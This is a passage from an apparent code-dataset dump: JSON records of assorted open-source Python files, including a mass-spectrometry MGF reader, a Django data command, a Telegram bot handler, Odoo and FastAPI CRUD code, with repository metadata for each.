)\n\n def has_msn_scans(self):\n return True\n\n def has_ms1_scans(self):\n return False\n\n def _create_parser(self):\n if self._use_index:\n return _MGFParser(self.source_file, read_charges=False,\n convert_arrays=1, encoding=self.encoding)\n simple_reader = mgf.MGF(\n self.source_file, read_charges=False,\n convert_arrays=1, encoding=self.encoding)\n simple_reader.index = OffsetIndex()\n return simple_reader\n\n def get_scan_by_id(self, scan_id):\n \"\"\"\n Retrieve the scan object for the specified scan id.\n\n If the scan object is still bound and in memory somewhere,\n a reference to that same object will be returned. Otherwise,\n a new object will be created.\n\n Parameters\n ----------\n scan_id : str\n The unique scan id value to be retrieved\n\n Returns\n -------\n Scan\n \"\"\"\n try:\n return self.scan_cache[scan_id]\n except KeyError:\n pass\n try:\n scan = self.source.get_spectrum(scan_id)\n except KeyError:\n scan = self.source.get_spectrum(scan_id + '.')\n scan = self._make_scan(scan)\n self.scan_cache[scan_id] = scan\n return scan\n\n def get_scan_by_index(self, index):\n \"\"\"\n Retrieve the scan object for the specified scan index.\n\n This internally calls :meth:`get_scan_by_id` which will\n use its cache.\n\n Parameters\n ----------\n index: int\n The index to get the scan for\n\n Returns\n -------\n Scan\n \"\"\"\n if not self._use_index:\n raise TypeError(\"This method requires the index. Please pass `use_index=True` during initialization\")\n id_str = self.index.from_index(index)\n return self.get_scan_by_id(id_str)\n\n def get_scan_by_time(self, time):\n \"\"\"\n Retrieve the scan object for the specified scan time.\n\n This internally calls :meth:`get_scan_by_id` which will\n use its cache.\n\n Parameters\n ----------\n time : float\n The time to get the nearest scan from\n\n Returns\n -------\n Scan\n \"\"\"\n if not self._use_index:\n raise TypeError(\"This method requires the index. Please pass `use_index=True` during initialization\")\n\n scan_ids = tuple(self.index)\n lo = 0\n hi = len(scan_ids)\n\n best_match = None\n best_error = float('inf')\n\n if time == float('inf'):\n return self.get_scan_by_id(scan_ids[-1])\n\n while hi != lo:\n mid = (hi + lo) // 2\n sid = scan_ids[mid]\n scan = self.get_scan_by_id(sid)\n scan_time = scan.scan_time\n err = abs(scan_time - time)\n if err < best_error:\n best_error = err\n best_match = scan\n if scan_time == time:\n return scan\n elif (hi - lo) == 1:\n return best_match\n elif scan_time > time:\n hi = mid\n else:\n lo = mid\n if hi == 0 and not self._use_index:\n raise TypeError(\"This method requires the index. Please pass `use_index=True` during initialization\")\n\n @property\n def source(self):\n \"\"\"The file parser that this reader consumes.\"\"\"\n return self._source\n\n @property\n def index(self):\n \"\"\"\n The byte offset index used to achieve fast random access.\n\n Maps :class:`~.ScanBase` IDs to the byte offsets, implying\n the order the scans reside in the file.\n\n Returns\n -------\n :class:`pyteomics.xml.ByteEncodingOrderedDict`\n \"\"\"\n return self.source.index\n\n def __len__(self):\n return len(self.index)\n\n def close(self):\n \"\"\"Close the underlying reader.\"\"\"\n self._source.close()\n self._dispose()\n\n def reset(self):\n \"\"\"\n Reset the object, clearing out any existing\n state.\n\n This resets the underlying file iterator, then\n calls :meth:`make_iterator`, and clears the scan\n cache.\n \"\"\"\n self._source.reset()\n try:\n self.source.seek(0)\n except (IOError, AttributeError):\n pass\n self.make_iterator(None)\n self.initialize_scan_cache()\n\n def _make_default_iterator(self):\n return iter(self._source)\n\n def make_iterator(self, iterator=None, grouped=False):\n \"\"\"\n Configure the iterator's behavior.\n\n Parameters\n ----------\n iterator : Iterator, optional\n The iterator to manipulate. If missing, the default\n iterator will be used.\n grouped : bool, optional\n Whether the iterator should be grouped and produce :class:`.ScanBunch` objects\n or single :class:`.Scan`. Defaults to False\n \"\"\"\n return super(MGFLoader, self).make_iterator(iterator, grouped)\n\n def _yield_from_index(self, scan_source, start):\n offset_provider = self.index\n keys = list(offset_provider.keys())\n if start is not None:\n if isinstance(start, basestring):\n try:\n start = keys.index(start)\n except ValueError:\n start = keys.index(start + '.')\n elif isinstance(start, int):\n start = start\n else:\n raise TypeError(\"Cannot start from object %r\" % start)\n else:\n start = 0\n for key in keys[start:]:\n yield scan_source.get_by_id(key)\n\n def start_from_scan(self, scan_id=None, rt=None, index=None, require_ms1=True, grouped=True):\n \"\"\"\n Reconstruct an iterator which will start from the scan matching one of ``scan_id``,\n ``rt``, or ``index``. Only one may be provided.\n\n After invoking this method, the iterator this object wraps will be changed to begin\n yielding scan bunchs (or single scans if ``grouped`` is ``False``).\n\n This method will trigger several random-access operations, making it prohibitively\n expensive for normally compressed files.\n\n Arguments\n ---------\n scan_id: str, optional\n Start from the scan with the specified id.\n rt: float, optional\n Start from the scan nearest to specified time (in minutes) in the run. If no\n exact match is found, the nearest scan time will be found, rounded up.\n index: int, optional\n Start from the scan with the specified index.\n require_ms1: bool, optional\n Whether the iterator must start from an MS1 scan. True by default.\n grouped: bool, optional\n whether the iterator should yield scan bunches or single scans. True by default.\n \"\"\"\n if scan_id is None:\n if rt is not None:\n scan = self.get_scan_by_time(rt)\n elif index is not None:\n try:\n scan = self.get_scan_by_index(index)\n except IndexError:\n if index > len(self.index):\n index = len(self.index) - 1\n else:\n index = 0\n scan = self.get_scan_by_index(index)\n\n else:\n raise ValueError(\"Must provide a scan locator, one of (scan_id, rt, index)\")\n\n scan_id = scan.id\n else:\n scan = self.get_scan_by_id(scan_id)\n\n # MGF files do not contain MS1 scans\n if require_ms1:\n pass\n\n iterator = self._yield_from_index(self._source, scan_id)\n self.make_iterator(iterator, grouped=grouped)\n return self\n\n def _scan_group_iterator(self, iterator=None, mode=None):\n if iterator is None:\n iterator = self._make_default_iterator()\n\n impl = _FakeGroupedScanIteratorImpl(\n iterator, self._make_scan, self._validate, self._cache_scan)\n return impl\n\n def next(self):\n return next(self._producer)\n\n def _validate(self, scan):\n return True\n", "repo_name": "mobiusklein/ms_deisotope", "sub_path": "src/ms_deisotope/data_source/mgf.py", "file_name": "mgf.py", "file_ext": "py", "file_size_in_byte": 17046, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 24, "dataset": "github-code", "pt": "71", "api": [{"api_name": "pyteomics.mgf.IndexedMGF", "line_number": 29, "usage_type": "attribute"}, {"api_name": "pyteomics.mgf", "line_number": 29, "usage_type": "name"}, {"api_name": "scan.ScanFileMetadataBase", "line_number": 49, "usage_type": "name"}, {"api_name": "metadata.file_information.FileInformation", "line_number": 68, "usage_type": "call"}, {"api_name": "metadata.file_information.MS_MSn_Spectrum", "line_number": 70, "usage_type": "argument"}, {"api_name": "six.string_types", "line_number": 71, "usage_type": "name"}, {"api_name": "os.PathLike", "line_number": 71, "usage_type": "attribute"}, {"api_name": "scan.ScanDataSource", "line_number": 100, "usage_type": "name"}, {"api_name": "numpy.array", "line_number": 130, "usage_type": "call"}, {"api_name": "scan.ChargeNotProvided", "line_number": 183, "usage_type": "name"}, {"api_name": "scan.PrecursorInformation", "line_number": 184, "usage_type": "call"}, {"api_name": "scan.ChargeNotProvided", "line_number": 194, "usage_type": "name"}, {"api_name": "scan.RandomAccessScanSource", "line_number": 251, "usage_type": "name"}, {"api_name": "scan.Scan", "line_number": 251, "usage_type": "name"}, {"api_name": "_compression.test_if_file_has_fast_random_access", "line_number": 281, "usage_type": "call"}, {"api_name": "pyteomics.mgf.MGF", "line_number": 313, "usage_type": "call"}, {"api_name": "pyteomics.mgf", "line_number": 313, "usage_type": "name"}, {"api_name": "pyteomics.auxiliary.OffsetIndex", "line_number": 316, "usage_type": "call"}, {"api_name": "scan.scan_time", "line_number": 402, "usage_type": "attribute"}, {"api_name": "six.string_types", "line_number": 484, "usage_type": "argument"}, {"api_name": "scan.id", "line_number": 539, "usage_type": "attribute"}, {"api_name": "scan._FakeGroupedScanIteratorImpl", "line_number": 555, "usage_type": "call"}]} {"seq_id": "11912855201", "text": "from django.core.management import BaseCommand\nfrom catalog.models import Category, Product\n\nclass Command(BaseCommand):\n\n def handle(self, *args, **options):\n category_list = [\n {'name': 'auto', 'description': 'vehicle'},\n {'name': 'food', 'description': 'essen'}\n ]\n\n category_objects = []\n for category_item in category_list:\n category_objects.append(\n Category(**category_item))\n\n Category.objects.bulk_create(category_objects)\n\n product_list = [\n {'name': 'potato', 'description': 'vegetable', 'category': 'food', 'purchase_price': 50, 'date_of_creation': '2023-05-01', 'last_modified_date': '2023-05-03'},\n {'name': 'strawberry', 'description': 'berry', 'category': 'food', 'purchase_price': 100, 'date_of_creation': '2023-05-01', 'last_modified_date': '2023-05-03'}\n ]\n\n product_objects = []\n for product_item in product_list:\n product_objects.append(\n Product(**product_item))\n\n Product.objects.bulk_create(product_objects)", "repo_name": "AliakseiMatsiuk/19.2_Django", "sub_path": "catalog/management/commands/fill.py", "file_name": "fill.py", "file_ext": "py", "file_size_in_byte": 1100, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "django.core.management.BaseCommand", "line_number": 4, "usage_type": "name"}, {"api_name": "catalog.models.Category", "line_number": 15, "usage_type": "call"}, {"api_name": "catalog.models.Category.objects.bulk_create", "line_number": 17, "usage_type": "call"}, {"api_name": "catalog.models.Category.objects", "line_number": 17, "usage_type": "attribute"}, {"api_name": "catalog.models.Category", "line_number": 17, "usage_type": "name"}, {"api_name": "catalog.models.Product", "line_number": 27, "usage_type": "call"}, {"api_name": "catalog.models.Product.objects.bulk_create", "line_number": 29, "usage_type": "call"}, {"api_name": "catalog.models.Product.objects", "line_number": 29, "usage_type": "attribute"}, {"api_name": "catalog.models.Product", "line_number": 29, "usage_type": "name"}]} {"seq_id": "38608635873", "text": "import sys\nimport pathlib\nimport moviepy.editor as mpy\n\n#Initialize fade in and out lengths in seconds. Adjust these to preference.\nfadein_dur = 2\nfadeout_dur = 2\n\n# grab and initialize the argument directories\nfirst_arg = sys.argv[1]\nsecond_arg = sys.argv[2]\nthird_arg = sys.argv[3]\n\nmusic_dir = pathlib.Path(first_arg)\nphoto_dir = pathlib.Path(second_arg)\nsave_dir = pathlib.Path(third_arg)\n\n# check if save / exists, if not create; throw errors if photo or song dirs don't exist\nif save_dir.exists() is False:\n save_dir.mkdir()\n\nif photo_dir.exists() is False:\n raise RuntimeError (f'Error: Photo directory does not exist. Try again.')\n\nif music_dir.exists() is False:\n raise RuntimeError (f'Error: Music directory does not exist. Try again.')\n\n#load up the array of photos to merge\ndef photo_list():\n for photo_file in photo_dir.iterdir():\n pFilePath = pathlib.Path(photo_file)\n if pFilePath.suffixes == '.jpg' or '.png' or '.gif':\n print(photo_file)\n yield photo_file\n\n\ndef avMerge(song, photo):\n video = mpy.ImageClip(f\"{photo}\")\n audio = mpy.AudioFileClip(f\"{song}\")\n video = (video.set_audio(audio)\n .set_duration(audio.duration)\n .fadein(fadein_dur)\n .fadeout(fadeout_dur))\n video.write_videofile(str(pathlib.PurePath(str(save_dir), str(song.stem))) + \".mp4\", fps=24)\n\n\n# set up generator for the photos\ngen = photo_list()\n\n# loop through music folder\nfor music_file in music_dir.iterdir():\n print(music_file)\n mFilePath = pathlib.Path(music_file)\n if mFilePath.suffix == '.mp3':\n avMerge(music_file, next(gen))\n\n", "repo_name": "jeffanberg/AVMerger", "sub_path": "av_merger.py", "file_name": "av_merger.py", "file_ext": "py", "file_size_in_byte": 1631, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 2, "dataset": "github-code", "pt": "71", "api": [{"api_name": "sys.argv", "line_number": 10, "usage_type": "attribute"}, {"api_name": "sys.argv", "line_number": 11, "usage_type": "attribute"}, {"api_name": "sys.argv", "line_number": 12, "usage_type": "attribute"}, {"api_name": "pathlib.Path", "line_number": 14, "usage_type": "call"}, {"api_name": "pathlib.Path", "line_number": 15, "usage_type": "call"}, {"api_name": "pathlib.Path", "line_number": 16, "usage_type": "call"}, {"api_name": "pathlib.Path", "line_number": 31, "usage_type": "call"}, {"api_name": "moviepy.editor.ImageClip", "line_number": 38, "usage_type": "call"}, {"api_name": "moviepy.editor", "line_number": 38, "usage_type": "name"}, {"api_name": "moviepy.editor.AudioFileClip", "line_number": 39, "usage_type": "call"}, {"api_name": "moviepy.editor", "line_number": 39, "usage_type": "name"}, {"api_name": "pathlib.PurePath", "line_number": 44, "usage_type": "call"}, {"api_name": "pathlib.Path", "line_number": 53, "usage_type": "call"}]} {"seq_id": "29828776966", "text": "from typing import Iterable, Any, Optional\n\n\n__all__ = (\"get\",)\n\n\ndef get(iterable: Iterable[Any], **kwargs) -> Optional[Any]:\n \"\"\"\n Returns the first object that matches the kwargs arguments.\n Used in caching.\n\n :param Iterable iterable: The iterable.\n :param kwargs: The key arguments.\n :return: The first object that matches the kwargs arguments.\n :rtype: Optional[Any]\n \"\"\"\n\n for elem in iterable:\n for key, value in kwargs.items():\n if getattr(elem, key) == value:\n return elem\n", "repo_name": "adam757521/ksp.py", "sub_path": "ksp/utils.py", "file_name": "utils.py", "file_ext": "py", "file_size_in_byte": 543, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "typing.Iterable", "line_number": 7, "usage_type": "name"}, {"api_name": "typing.Any", "line_number": 7, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 7, "usage_type": "name"}]} {"seq_id": "33072478494", "text": "# run-demo.py\n# simple example of gst-switch python api\n\n# pass the path to the binaries:\n# \n\nimport argparse\n\nimport time\nimport subprocess\n\nfrom gstswitch.helpers import PreviewSinks\nfrom gstswitch.server import Server\nfrom gstswitch.helpers import TestSources\n\ndef wait(secs):\n print(\"sleeping {} secconds...\".format(secs))\n time.sleep(secs)\n\ndef main(args):\n\n print(\"running server\")\n serv = Server(path=args.path)\n serv.run()\n\n wait(5)\n\n print(\"running source pattern=1\")\n sources = TestSources(video_port=3000, audio_port=4000)\n sources.new_test_video(pattern=1)\n\n wait(5)\n\n print(\"running gst-switch-ui\")\n # the & will run this in the background so control returns \n # and we can bring up the 2nd source \n\n # Replaced call with subprocess.Popen. \n SwitchUi = subprocess.Popen(\"gst-switch-ui &\",shell=True)\n\n wait(5)\n \n print(\"running source pattern=18\")\n sources.new_test_video(pattern=18)\n\n raw_input(\"hit enter:\")\n\n\n # Replaced pkill call with Popen.kill\n subprocess.Popen.kill(SwitchUi)\n serv.kill()\n\n \n\ndef pars_args():\n parser = argparse.ArgumentParser()\n parser.add_argument(\"--path\")\n args = parser.parse_args()\n return args\n\nif __name__=='__main__':\n args=pars_args()\n main(args)\n", "repo_name": "KKcorps/Gst-Files", "sub_path": "run-demo/run-demo.py", "file_name": "run-demo.py", "file_ext": "py", "file_size_in_byte": 1288, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "71", "api": [{"api_name": "time.sleep", "line_number": 18, "usage_type": "call"}, {"api_name": "gstswitch.server.Server", "line_number": 23, "usage_type": "call"}, {"api_name": "gstswitch.helpers.TestSources", "line_number": 29, "usage_type": "call"}, {"api_name": "subprocess.Popen", "line_number": 39, "usage_type": "call"}, {"api_name": "subprocess.Popen.kill", "line_number": 50, "usage_type": "call"}, {"api_name": "subprocess.Popen", "line_number": 50, "usage_type": "attribute"}, {"api_name": "argparse.ArgumentParser", "line_number": 56, "usage_type": "call"}]} {"seq_id": "9661462483", "text": "from pyrogram import Client, Filters, InlineKeyboardMarkup, InlineKeyboardButton\n\nfrom ..config import Config\nfrom ..screenshotbot import ScreenShotBot\n\nUPDATES_CHANNEL = 'MediQBank'\nfrom pyrogram.errors.exceptions.bad_request_400 import UserNotParticipant, UsernameNotOccupied, ChatAdminRequired, PeerIdInvalid\n\n@ScreenShotBot.on_message(Filters.private & Filters.command(\"start\"))\nasync def start(c, m):\n \n ## Doing Force Sub 🤣\n update_channel = UPDATES_CHANNEL\n if update_channel:\n try:\n user = await c.get_chat_member(update_channel, m.chat.id)\n if user.status == \"kicked\":\n await c.send_message(\n chat_id=m.chat.id,\n text=\"Sorry Sir, You are Banned to use me. Contact my [Support Group](https://t.me/safothebot).\",\n parse_mode=\"markdown\",\n disable_web_page_preview=True\n )\n return\n except UserNotParticipant:\n await c.send_message(\n chat_id=m.chat.id,\n text=\"**Hey, \\nPlease Join My Updates Channel To Use This Bot!**\",\n reply_markup=InlineKeyboardMarkup(\n [\n [\n InlineKeyboardButton(\"Join Updates Channel\", url=f\"https://t.me/{update_channel}\")\n ]\n ]\n ),\n parse_mode=\"markdown\"\n )\n return\n except Exception:\n await c.send_message(\n chat_id=m.chat.id,\n text=\"Something went Wrong. Contact my [Support Group](https://t.me/safothebot).\",\n parse_mode=\"markdown\",\n disable_web_page_preview=True)\n return\n ##\n if not await c.db.is_user_exist(m.chat.id):\n await c.db.add_user(m.chat.id)\n await c.send_message(\n Config.LOG_CHANNEL,\n f\"#PING_SS: \\n\\nNew User [{m.from_user.first_name}](tg://user?id={m.chat.id}) started!\"\n )\n \n await m.reply_text(\n text=f\"Hi, [{m.from_user.first_name}](tg://user?id={m.chat.id})! 😍\\n\\nI'm S1 Screenshot BOT. I Can Provide Screenshots From Your Video Files Without Downloading The Entire File. For More Details Check /help!\",\n parse_mode=\"markdown\",\n quote=True,\n reply_markup=InlineKeyboardMarkup(\n [\n [\n InlineKeyboardButton('Updates', url='https://t.me/safoneyt'),\n InlineKeyboardButton('Developer', url='https://t.me/I_Am_Only_One_1')\n ],\n [\n InlineKeyboardButton('Support Group', url='https://t.me/safothebot')\n ]\n ]\n )\n )\n", "repo_name": "buidanhbinh/Screenshot-Bot", "sub_path": "bot/plugins/start.py", "file_name": "start.py", "file_ext": "py", "file_size_in_byte": 2769, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "github-code", "pt": "71", "api": [{"api_name": "pyrogram.errors.exceptions.bad_request_400.UserNotParticipant", "line_number": 25, "usage_type": "name"}, {"api_name": "pyrogram.InlineKeyboardMarkup", "line_number": 29, "usage_type": "call"}, {"api_name": "pyrogram.InlineKeyboardButton", "line_number": 32, "usage_type": "call"}, {"api_name": "config.Config.LOG_CHANNEL", "line_number": 50, "usage_type": "attribute"}, {"api_name": "config.Config", "line_number": 50, "usage_type": "name"}, {"api_name": "pyrogram.InlineKeyboardMarkup", "line_number": 58, "usage_type": "call"}, {"api_name": "pyrogram.InlineKeyboardButton", "line_number": 61, "usage_type": "call"}, {"api_name": "pyrogram.InlineKeyboardButton", "line_number": 62, "usage_type": "call"}, {"api_name": "pyrogram.InlineKeyboardButton", "line_number": 65, "usage_type": "call"}, {"api_name": "screenshotbot.ScreenShotBot.on_message", "line_number": 9, "usage_type": "call"}, {"api_name": "screenshotbot.ScreenShotBot", "line_number": 9, "usage_type": "name"}, {"api_name": "pyrogram.Filters.private", "line_number": 9, "usage_type": "attribute"}, {"api_name": "pyrogram.Filters", "line_number": 9, "usage_type": "name"}, {"api_name": "pyrogram.Filters.command", "line_number": 9, "usage_type": "call"}]} {"seq_id": "11313227207", "text": "import abc\nimport argparse\nimport os\nfrom typing import Any, Union\n\n\nclass BaseOptions(abc.ABC):\n\n def __init__(self):\n \"\"\"Instanciate a BaseOptions object by reading and parsing programm parameters\n \"\"\"\n self.parser = argparse.ArgumentParser()\n self.read_parameters()\n self.gather_options()\n\n def __getattr__(self, name: str) -> Any:\n return getattr(self.options, name)\n\n def isnotebook(self) -> bool:\n try:\n shell = get_ipython().__class__.__name__ # Seems to be in the global name space when ipython is running\n if shell == 'ZMQInteractiveShell':\n return True # Jupyter notebook or qtconsole\n elif shell == 'TerminalInteractiveShell':\n return True # Terminal running IPython\n else:\n return False # Other type (?)\n except NameError:\n return False # Probably standard Python interpreter\n\n @abc.abstractmethod\n def read_parameters(self) -> None:\n \"\"\"Abstract method that defines model options.\n \"\"\"\n # General options\n self.parser.add_argument(\"--name\", type=str, default=\"model\", help=\"Set model name\")\n self.parser.add_argument(\"--device\", type=str, default=\"cpu\", help=\"Set the device that pytorch will use for the model: (cpu, cuda:0, ...)\")\n self.parser.add_argument(\"--saved_models_dir\", type=str, default=\"./saved_models\")\n\n def gather_options(self, force: bool = False) -> None:\n \"\"\"Parse args to store them in the object\n \"\"\"\n if self.isnotebook() or force:\n self.options = self.parser.parse_args(\"\")\n else:\n self.options = self.parser.parse_args()\n\n def rewrite_option(self, option_name: str, value: Any) -> None:\n if hasattr(self.options, option_name):\n setattr(self.options, option_name, value)\n else:\n raise ValueError(f\"Option {option_name} does not exist\")\n\n def save_options(self, dir_path: str) -> None:\n\n save_path = os.path.join(dir_path, \"options.txt\")\n if not os.path.exists(dir_path):\n os.makedirs(dir_path)\n\n with open(save_path, \"wt\") as save_file:\n save_file.write(self.print_options(return_str=True))\n\n def load_options(self, path: str) -> None:\n\n with open(path, \"r\") as file:\n text = file.readlines()\n for i, line in enumerate(text):\n if i == 0:\n continue\n argument, value = [word.strip() for word in line.split(\"---->\")]\n if \"(\" in value:\n value = eval(value)\n elif \".\" in value:\n try:\n value = float(value)\n except ValueError:\n pass\n else:\n try:\n value = int(value)\n except ValueError:\n pass\n\n self.rewrite_option(argument.lower(), value)\n\n def print_options(self, return_str: bool = False) -> Union[None, str]:\n\n text = \"MODEL OPTIONS\".center(60, \"-\") + \"\\n\"\n for atribute, value in self.options.__dict__.items():\n text += f\"{atribute.capitalize():<25}---->{str(value):>25}\\n\"\n\n if return_str:\n return text\n\n print(text)\n", "repo_name": "Juanki0396/TFG", "sub_path": "src/options/base_options.py", "file_name": "base_options.py", "file_ext": "py", "file_size_in_byte": 3394, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "abc.ABC", "line_number": 7, "usage_type": "attribute"}, {"api_name": "argparse.ArgumentParser", "line_number": 12, "usage_type": "call"}, {"api_name": "typing.Any", "line_number": 16, "usage_type": "name"}, {"api_name": "abc.abstractmethod", "line_number": 31, "usage_type": "attribute"}, {"api_name": "typing.Any", "line_number": 48, "usage_type": "name"}, {"api_name": "os.path.join", "line_number": 56, "usage_type": "call"}, {"api_name": "os.path", "line_number": 56, "usage_type": "attribute"}, {"api_name": "os.path.exists", "line_number": 57, "usage_type": "call"}, {"api_name": "os.path", "line_number": 57, "usage_type": "attribute"}, {"api_name": "os.makedirs", "line_number": 58, "usage_type": "call"}, {"api_name": "typing.Union", "line_number": 86, "usage_type": "name"}]} {"seq_id": "33886079755", "text": "from collections import defaultdict\n\nfrom odoo import models\n\n\nclass EventRegistration(models.Model):\n _inherit = 'event.registration'\n\n def _get_lead_grouping(self, rules, rule_to_new_regs):\n \"\"\" Override to support sale-order based grouping and update.\n\n When checking for groups for rules, we search for existing leads linked\n to same group (based on sale_order_id) and rule. Each rule can therefore\n update an existing lead or create a new one, for each sale order that\n makes the group. \"\"\"\n so_registrations = self.filtered(lambda reg: reg.sale_order_id)\n grouping_res = super(EventRegistration, self - so_registrations)._get_lead_grouping(rules, rule_to_new_regs)\n\n if so_registrations:\n # find existing leads in batch to put them in cache and avoid multiple search / queries\n related_registrations = self.env['event.registration'].search([\n ('sale_order_id', 'in', so_registrations.sale_order_id.ids)\n ])\n related_leads = self.env['crm.lead'].search([\n ('event_lead_rule_id', 'in', rules.ids),\n ('registration_ids', 'in', related_registrations.ids)\n ])\n\n for rule in rules:\n rule_new_regs = rule_to_new_regs[rule]\n\n # for each group (sale_order), find its linked registrations\n so_to_regs = defaultdict(lambda: self.env['event.registration'])\n for registration in rule_new_regs & so_registrations:\n so_to_regs[registration.sale_order_id] |= registration\n\n # for each grouped registrations, prepare result with group and existing lead\n so_res = []\n for sale_order, registrations in so_to_regs.items():\n registrations = registrations.sorted('id') # as an OR was used, re-ensure order\n leads = related_leads.filtered(lambda lead: lead.event_lead_rule_id == rule and lead.registration_ids.sale_order_id == sale_order)\n so_res.append((leads, sale_order, registrations))\n if so_res:\n grouping_res[rule] = grouping_res.get(rule, list()) + so_res\n\n return grouping_res\n", "repo_name": "odoo/odoo", "sub_path": "addons/event_crm_sale/models/event_registration.py", "file_name": "event_registration.py", "file_ext": "py", "file_size_in_byte": 2265, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 31745, "dataset": "github-code", "pt": "71", "api": [{"api_name": "odoo.models.Model", "line_number": 6, "usage_type": "attribute"}, {"api_name": "odoo.models", "line_number": 6, "usage_type": "name"}, {"api_name": "collections.defaultdict", "line_number": 33, "usage_type": "call"}]} {"seq_id": "34097172312", "text": "from shapely import Polygon\nimport trimesh\n\npts = ((100, 100), (400, 100), (400, 400), (100, 400))\nhole = ((150, 150), (350, 150), (350, 350), (150, 350))\np = Polygon(pts, [hole])\nmesh = trimesh.creation.extrude_polygon(p, 100)\n#mesh = trimesh.primitives.Extrusion(p, height=100)\nother = mesh.copy()\nother.apply_translation((150, 50, 50))\nmesh = mesh.union(other)\n#other.visual = trimesh.visual.ColorVisuals(\n# other,\n# [[255, 0, 0] for _ in other.visual.face_colors]\n# )\nfor i, face in enumerate(mesh.faces):\n x0, y0, z0 = mesh.vertices[face[0]]\n x1, y1, z1 = mesh.vertices[face[1]]\n x2, y2, z2 = mesh.vertices[face[2]]\n if x0 == x1 and y0 != y1:\n mesh.visual.face_colors[i][:] = 255, 0, 0, 255\n#mesh.show()\nimport py5\n\ndef setup():\n py5.size(700, 700, py5.P3D)\n\ndef draw():\n py5.background(100, 200, 100)\n py5.translate(350, 0)\n py5.rotate_y(py5.radians(py5.mouse_x))\n py5.translate(-350, 0)\n draw_mesh(mesh)\n \ndef draw_mesh(m):\n for i, face in enumerate(m.faces):\n r, g, b, a = m.visual.face_colors[i]\n py5.fill(r, g, b, a)\n with py5.begin_closed_shape():\n py5.vertices([m.vertices[v] for v in face])\n\npy5.run_sketch()", "repo_name": "villares/sketch-a-day", "sub_path": "2023/sketch_2023_02_18/sketch_2023_02_18.py", "file_name": "sketch_2023_02_18.py", "file_ext": "py", "file_size_in_byte": 1206, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 193, "dataset": "github-code", "pt": "71", "api": [{"api_name": "shapely.Polygon", "line_number": 6, "usage_type": "call"}, {"api_name": "trimesh.creation.extrude_polygon", "line_number": 7, "usage_type": "call"}, {"api_name": "trimesh.creation", "line_number": 7, "usage_type": "attribute"}, {"api_name": "py5.size", "line_number": 26, "usage_type": "call"}, {"api_name": "py5.P3D", "line_number": 26, "usage_type": "attribute"}, {"api_name": "py5.background", "line_number": 29, "usage_type": "call"}, {"api_name": "py5.translate", "line_number": 30, "usage_type": "call"}, {"api_name": "py5.rotate_y", "line_number": 31, "usage_type": "call"}, {"api_name": "py5.radians", "line_number": 31, "usage_type": "call"}, {"api_name": "py5.mouse_x", "line_number": 31, "usage_type": "attribute"}, {"api_name": "py5.translate", "line_number": 32, "usage_type": "call"}, {"api_name": "py5.fill", "line_number": 38, "usage_type": "call"}, {"api_name": "py5.begin_closed_shape", "line_number": 39, "usage_type": "call"}, {"api_name": "py5.vertices", "line_number": 40, "usage_type": "call"}, {"api_name": "py5.run_sketch", "line_number": 42, "usage_type": "call"}]} {"seq_id": "20830907194", "text": "from uuid import UUID\nfrom typing import List, Optional\n\nfrom app.models import ContactPerson, Organization\nfrom app.schemas.contact_person import ContactPersonCreate, ContactPersonUpdate\nfrom fastapi.encoders import jsonable_encoder\nfrom sqlalchemy import and_, select\nfrom sqlalchemy.ext.asyncio import AsyncSession\n\n\nclass CRUDContactPerson:\n async def get(\n self,\n session: AsyncSession,\n *,\n organization: Organization,\n skip: int = 0,\n limit: int = 100,\n ) -> List[Organization]:\n result = await session.execute(\n select(ContactPerson)\n .offset(skip)\n .limit(limit)\n .where(ContactPerson.organization_id == organization.id)\n )\n\n return result.scalars().all()\n\n async def get_by_id(\n self, session: AsyncSession, *, id_: UUID\n ) -> Optional[ContactPerson]:\n result = await session.execute(\n select(ContactPerson).where(ContactPerson.id == id_)\n )\n\n return result.scalars().first()\n\n async def get_by_first_second_name_email(\n self,\n session: AsyncSession,\n *,\n first_name: str,\n second_name: str,\n email: str,\n ) -> Optional[Organization]:\n result = await session.execute(\n select(ContactPerson).where(\n and_(\n ContactPerson.first_name == first_name,\n ContactPerson.second_name == second_name,\n ContactPerson.email == email,\n )\n )\n )\n\n return result.scalars().first()\n\n async def create(\n self,\n session: AsyncSession,\n *,\n contact_person_in: ContactPersonCreate,\n organization: Organization,\n ) -> ContactPerson:\n\n organization = ContactPerson(\n **contact_person_in.dict(exclude=[\"organization_name\"]),\n organization_id=organization.id,\n )\n session.add(organization)\n\n await session.commit()\n await session.refresh(organization)\n\n return organization\n\n async def update(\n self,\n session: AsyncSession,\n *,\n contact_person: ContactPerson,\n contact_person_in: ContactPersonUpdate,\n organization: Optional[Organization] = None,\n ) -> ContactPerson:\n\n contact_person_data = jsonable_encoder(contact_person)\n update_data = contact_person_in.dict(skip_defaults=True)\n\n if organization:\n contact_person.organization_id = organization.id\n\n for field in contact_person_data:\n if field == \"organization_name\":\n continue\n\n if field in update_data:\n setattr(contact_person, field, update_data[field])\n\n session.add(contact_person)\n await session.commit()\n await session.refresh(contact_person)\n\n return contact_person\n\n async def delete(\n self,\n session: AsyncSession,\n *,\n contact_person: ContactPerson,\n ) -> None:\n session.delete(contact_person)\n await session.commit()\n\n\ncrud_contact_person = CRUDContactPerson()\n", "repo_name": "wallseat/MIREA_data-manipulation-software", "sub_path": "practice7-8/app/crud/contact_person.py", "file_name": "contact_person.py", "file_ext": "py", "file_size_in_byte": 3167, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "sqlalchemy.ext.asyncio.AsyncSession", "line_number": 14, "usage_type": "name"}, {"api_name": "app.models.Organization", "line_number": 16, "usage_type": "name"}, {"api_name": "sqlalchemy.select", "line_number": 21, "usage_type": "call"}, {"api_name": "app.models.ContactPerson", "line_number": 21, "usage_type": "argument"}, {"api_name": "app.models.ContactPerson.organization_id", "line_number": 24, "usage_type": "attribute"}, {"api_name": "app.models.ContactPerson", "line_number": 24, "usage_type": "name"}, {"api_name": 